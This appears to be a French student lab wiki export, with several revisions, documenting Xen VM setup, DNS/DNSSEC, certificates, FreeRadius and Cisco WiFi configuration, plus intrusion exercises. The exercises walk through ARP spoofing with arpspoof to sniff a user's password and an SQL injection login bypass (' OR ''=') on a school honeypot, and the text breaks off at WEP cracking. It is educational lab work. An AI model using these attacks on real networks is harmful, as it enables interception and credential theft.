    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=53869</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=53869"/>
				<updated>2020-11-17T12:56:00Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Intrusion sur un serveur d’application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande df &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space1&lt;br /&gt;
    ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
   www     IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
